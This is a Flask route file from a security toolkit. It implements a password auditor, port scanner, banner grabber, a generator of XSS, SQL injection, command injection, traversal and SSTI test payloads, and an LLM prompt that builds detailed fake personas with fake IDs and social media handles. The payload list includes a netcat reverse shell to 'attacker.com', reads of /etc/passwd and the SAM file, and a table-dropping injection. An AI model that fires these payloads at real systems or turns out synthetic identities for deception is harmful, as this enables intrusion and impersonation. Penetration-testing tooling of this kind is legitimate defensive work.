Autarch/web/routes/simulate.py
DigiJ ffe47c51b5 Initial public release — AUTARCH v1.0.0
Full security platform with web dashboard, 16 Flask blueprints, 26 modules,
autonomous AI agent, WebUSB hardware support, and Archon Android companion app.

Includes Hash Toolkit, debug console, anti-stalkerware shield, Metasploit/RouterSploit
integration, WireGuard VPN, OSINT reconnaissance, and multi-backend LLM support.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-01 03:57:32 -08:00

412 lines
14 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator."""
import json
import socket
import hashlib
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')
@simulate_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}
return render_template('simulate.html', modules=modules)
@simulate_bp.route('/password', methods=['POST'])
@login_required
def password_audit():
"""Audit password strength."""
data = request.get_json(silent=True) or {}
password = data.get('password', '')
if not password:
return jsonify({'error': 'No password provided'})
score = 0
feedback = []
# Length
if len(password) >= 16:
score += 3
feedback.append('+ Excellent length (16+)')
elif len(password) >= 12:
score += 2
feedback.append('+ Good length (12+)')
elif len(password) >= 8:
score += 1
feedback.append('~ Minimum length (8+)')
else:
feedback.append('- Too short (<8)')
# Character diversity
has_upper = any(c.isupper() for c in password)
has_lower = any(c.islower() for c in password)
has_digit = any(c.isdigit() for c in password)
has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
if has_upper:
score += 1; feedback.append('+ Contains uppercase')
else:
feedback.append('- No uppercase letters')
if has_lower:
score += 1; feedback.append('+ Contains lowercase')
else:
feedback.append('- No lowercase letters')
if has_digit:
score += 1; feedback.append('+ Contains numbers')
else:
feedback.append('- No numbers')
if has_special:
score += 2; feedback.append('+ Contains special characters')
else:
feedback.append('~ No special characters')
# Common patterns
common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']
if password.lower() in common:
score = 0
feedback.append('- Extremely common password!')
# Sequential
if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential letters')
if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential numbers')
# Keyboard patterns
for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:
if pattern in password.lower():
score -= 1; feedback.append('~ Contains keyboard pattern')
break
score = max(0, min(10, score))
strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'
hashes = {
'md5': hashlib.md5(password.encode()).hexdigest(),
'sha1': hashlib.sha1(password.encode()).hexdigest(),
'sha256': hashlib.sha256(password.encode()).hexdigest(),
}
return jsonify({
'score': score,
'strength': strength,
'feedback': feedback,
'hashes': hashes,
})
@simulate_bp.route('/portscan', methods=['POST'])
@login_required
def port_scan():
"""TCP port scan."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port_range = data.get('ports', '1-1024').strip()
if not target:
return jsonify({'error': 'No target provided'})
try:
start_port, end_port = map(int, port_range.split('-'))
except Exception:
return jsonify({'error': 'Invalid port range (format: start-end)'})
# Limit scan range for web UI
if end_port - start_port > 5000:
return jsonify({'error': 'Port range too large (max 5000 ports)'})
try:
ip = socket.gethostbyname(target)
except Exception:
return jsonify({'error': f'Could not resolve {target}'})
services = {
21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns',
80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb',
3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy',
}
open_ports = []
total = end_port - start_port + 1
for port in range(start_port, end_port + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((ip, port))
if result == 0:
open_ports.append({
'port': port,
'service': services.get(port, 'unknown'),
'status': 'open',
})
sock.close()
return jsonify({
'target': target,
'ip': ip,
'open_ports': open_ports,
'scanned': total,
})
@simulate_bp.route('/banner', methods=['POST'])
@login_required
def banner_grab():
"""Grab service banner."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port = data.get('port', 80)
if not target:
return jsonify({'error': 'No target provided'})
try:
port = int(port)
except Exception:
return jsonify({'error': 'Invalid port'})
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target, port))
if port in [80, 443, 8080, 8443]:
sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n")
else:
sock.send(b"\r\n")
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return jsonify({'banner': banner or 'No banner received'})
except socket.timeout:
return jsonify({'error': 'Connection timed out'})
except ConnectionRefusedError:
return jsonify({'error': 'Connection refused'})
except Exception as e:
return jsonify({'error': str(e)})
@simulate_bp.route('/payloads', methods=['POST'])
@login_required
def generate_payloads():
"""Generate test payloads."""
data = request.get_json(silent=True) or {}
payload_type = data.get('type', 'xss').lower()
payloads_db = {
'xss': [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'"><script>alert(1)</script>',
"'-alert(1)-'",
'<body onload=alert(1)>',
'{{constructor.constructor("alert(1)")()}}',
],
'sqli': [
"' OR '1'='1",
"' OR '1'='1' --",
"'; DROP TABLE users; --",
"1' ORDER BY 1--",
"1 UNION SELECT null,null,null--",
"' AND 1=1 --",
"admin'--",
],
'cmdi': [
"; ls -la",
"| cat /etc/passwd",
"& whoami",
"`id`",
"$(whoami)",
"; ping -c 3 127.0.0.1",
"| nc -e /bin/sh attacker.com 4444",
],
'traversal': [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd%00",
],
'ssti': [
"{{7*7}}",
"${7*7}",
"{{config}}",
"{{self.__class__.__mro__}}",
"<%= 7*7 %>",
"{{request.application.__globals__}}",
],
}
payloads = payloads_db.get(payload_type)
if payloads is None:
return jsonify({'error': f'Unknown payload type: {payload_type}'})
return jsonify({'type': payload_type, 'payloads': payloads})
# ── Legendary Creator ─────────────────────────────────────────────────────────
_LEGEND_PROMPT = """\
You are generating a completely fictional, synthetic person profile for software testing \
and simulation purposes. Every detail must be internally consistent. Use real city names \
and real school/university names that genuinely exist in those cities. All SSNs, passport \
numbers, and IDs are obviously fake and for testing only.
SEED PARAMETERS (apply these if provided, otherwise invent):
{seeds}
Generate ALL of the following sections in order. Be specific, thorough, and consistent. \
Verify that graduation years match the DOB. Friend ages should be within 5 years of the \
subject. Double-check that named schools exist in the stated cities.
## IDENTITY
Full Legal Name:
Preferred Name / Nickname:
Date of Birth:
Age:
Gender:
Nationality:
Ethnicity:
Fake SSN: [XXX-XX-XXXX]
Fake Passport Number:
Fake Driver's License: [State + alphanumeric]
## PHYSICAL DESCRIPTION
Height:
Weight:
Build: [slim/athletic/average/stocky/heavyset]
Eye Color:
Hair Color & Style:
Distinguishing Features: [birthmarks, scars, tattoos, or "None"]
## CONTACT INFORMATION
Cell Phone: [(XXX) XXX-XXXX]
Work Phone:
Primary Email: [firstname.lastname@domain.com style]
Secondary Email: [personal/fun email]
Home Address: [Number Street, City, State ZIP — use a real city]
City of Residence:
## ONLINE PRESENCE
Primary Username: [one consistent handle used across platforms]
Instagram Handle: @[handle] — [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"]
Twitter/X: @[handle] — [posting style, topics, follower count estimate]
LinkedIn: linkedin.com/in/[handle] — [headline and connection count estimate]
Facebook: [privacy setting + usage description]
Reddit: u/[handle] — [list 3-4 subreddits they frequent with reasons]
Gaming / Other: [platform + gamertag, or "N/A"]
## EDUCATION HISTORY
[Chronological, earliest first. Confirm school names exist in stated cities.]
Elementary School: [Real school name], [City, State] — [Years, e.g. 20012007]
Middle School: [Real school name], [City, State] — [Years]
High School: [Real school name], [City, State] — Graduated: [YYYY] — GPA: [X.X] — [1 extracurricular]
Undergraduate: [Real university/college], [City, State] — [Major] — Graduated: [YYYY] — GPA: [X.X] — [2 activities/clubs]
Graduate / Certifications: [if applicable, or "None"]
## EMPLOYMENT HISTORY
[Most recent first. 24 positions. Include real or plausible company names.]
Current: [Job Title] at [Company], [City, State] — [Year]Present
Role summary: [2 sentences on responsibilities]
Previous 1: [Job Title] at [Company], [City, State] — [Year][Year]
Role summary: [1 sentence]
Previous 2: [if applicable]
## FAMILY
Mother: [Full name], [Age], [Occupation], lives in [City, State]
Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State]
Siblings: [Name (age) — brief description each, or "Only child"]
Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]]
Children: [None, or Name (age) each]
## FRIENDS (5 close friends)
[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \
Relationship dynamic. One memorable shared experience.]
1. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
2. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
3. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
4. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
5. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
## HOBBIES & INTERESTS
[79 hobbies with specific detail — not just "cooking" but "has been making sourdough for 2 years, \
maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \
communities involved in.]
1.
2.
3.
4.
5.
6.
7.
## PERSONALITY & PSYCHOLOGY
MBTI Type: [e.g. INFJ] — [brief explanation of how it shows in daily life]
Enneagram: [e.g. Type 2w3]
Key Traits: [57 adjectives, both positive and realistic flaws]
Communication Style: [brief description]
Deepest Fear: [specific, personal]
Biggest Ambition: [specific]
Political Leaning: [brief, not extreme]
Spiritual / Religious: [brief]
Quirks: [3 specific behavioral quirks — the more oddly specific the better]
## BACKSTORY NARRATIVE
[250350 word first-person "About Me" narrative. Write as if this person is introducing themselves \
on a personal website or in a journal. Reference specific people, places, and memories from the \
profile above for consistency. It should feel real, slightly imperfect, and human.]
"""
@simulate_bp.route('/legendary-creator')
@login_required
def legendary_creator():
return render_template('legendary_creator.html')
@simulate_bp.route('/legendary/generate', methods=['POST'])
@login_required
def legendary_generate():
"""Stream a Legend profile from the LLM via SSE."""
data = request.get_json(silent=True) or {}
# Build seed string from user inputs
seed_parts = []
for key, label in [
('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'),
('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'),
('education', 'Education Level'), ('interests', 'Interests/Hobbies'),
('notes', 'Additional Notes'),
]:
val = data.get(key, '').strip()
if val:
seed_parts.append(f"- {label}: {val}")
seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)'
prompt = _LEGEND_PROMPT.format(seeds=seeds)
def generate():
try:
from core.llm import get_llm
llm = get_llm()
for token in llm.chat(prompt, stream=True):
yield f"data: {json.dumps({'token': token})}\n\n"
yield f"data: {json.dumps({'done': True})}\n\n"
except Exception as exc:
yield f"data: {json.dumps({'error': str(exc)})}\n\n"
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})